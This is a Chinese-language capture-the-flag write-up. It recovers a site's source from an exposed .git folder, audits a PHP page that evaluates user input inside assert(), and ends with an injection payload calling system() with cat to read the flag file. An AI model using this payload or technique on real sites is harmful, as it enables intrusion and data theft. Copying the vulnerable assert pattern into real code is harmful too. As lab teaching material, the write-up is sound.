题目
点击about发现Git感觉是Git泄露
直接访问.git
本来用githack去扒源码但是成功了没文件一脸懵,
后面换一个工具githacker注意二个之间有区别
githack和githacker
然后去结果里查看文件
发现flag文件但是
没什么用
<?php
// TODO
// $FLAG = '';
?>
然后查看index.php文件
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav><div class="container" style="margin-top: 50px">
<?php
require_once $file;
?></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
代码审计启动主要的是下面的php代码,再下面是html没什么看的
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
if (isset($_GET['page'])) {
这行检查是否通过 GET 方法从 URL 中接收到了名为 'page' 的参数。
isset()
是 PHP 中的一个内置函数,用于检测变量是否已设置并且非 NULL。如果变量存在并且不为 NULL,则 isset()
返回 true
,否则返回 false
。
这个函数在 PHP 编程中非常有用,特别是当你需要检查一个变量是否已经赋值或者是否已经通过表单、GET 或 POST 请求等方式设置时。
$page = $_GET['page'];
如果 'page' 参数存在,则将其值赋给 $page
变量
} else {
$page = "home";
如果 'page' 参数不存在,将 $page
变量的值设置为 "home"
$file = "templates/" . $page . ".php";
这行创建了一个字符串 $file
,它由 "templates/"、$page
变量的值和 ".php" 组成。这表示它将根据 $page
的值来确定要加载哪个模板文件。
// I heard '..' is dangerous!
这是一个注释,提醒开发者 '..' 在文件路径中可能是危险的,因为它可能允许目录遍历攻击。
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
这行使用 assert
函数来检查 $file
字符串中是否包含 '..'。如果包含,strpos
函数会返回该子串的位置,否则返回 false。如果返回的位置不是 false,则 assert
函数会失败,并执行 or
后面的 die
函数,输出 "Detected hacking attempt!" 并终止脚本执行。
在 PHP 中,assert()
函数用于在代码中执行断言。断言是一种编程约定,用于验证某个条件是否为真。如果条件为真,则 assert()
函数不会有任何效果;如果条件为假,则 assert()
会根据当前的断言处理方式(可以通过 assert_options()
设置)来执行不同的操作,这通常包括显示一个警告或错误消息,甚至终止脚本的执行。
assert()
函数通常用于开发和调试阶段,以确保代码按预期运行。在生产环境中,为了提高性能,通常会将断言禁用,因为每次断言都需要检查一个条件,这可能会带来额外的开销。
在 PHP 中,strpos()
函数用于查找一个字符串在另一个字符串中首次出现的位置。如果找到该字符串,它会返回该字符串在另一个字符串中第一次出现的位置(基于 0 的索引),如果没有找到,则返回 false
。
语法
strpos(string $haystack, mixed $needle, int $offset = 0): int|false
$haystack
是要被搜索的字符串。$needle
是需要查找的字符串或字符。$offset
(可选参数)指定从哪里开始搜索
// TODO: Make this look nice
这是一个注释,表示接下来的代码可能需要优化或改进,使其看起来更整洁或更易于理解。
assert("file_exists('$file')") or die("That file doesn't exist!");
这行使用 assert
函数来检查 $file
指定的文件是否存在。file_exists
函数会检查文件或目录是否存在。如果不存在,assert
函数会失败,并执行 or
后面的 die
函数,输出 "That file doesn't exist!" 并终止脚本执行
在 PHP 中,file_exists()
函数用于检查一个文件或目录是否存在。如果文件或目录存在,函数返回 true
,否则返回 false
。
语法
file_exists(string $filename): bool
其中 $filename
是要检查的文件或目录的路径。
使用 file_exists()
可以帮助开发者在尝试读取、写入或执行文件之前确认文件或目录是否确实存在,从而避免因为文件不存在而导致的错误或异常。
assert函数的命令执行漏洞原理:当assert()内的参数为字符串是,那个字符串会被当成php函数执行
php语句结尾需要有分号
构造playload
/?page=').system("cat ./templates/flag.php");//
访问
源代码中发现flag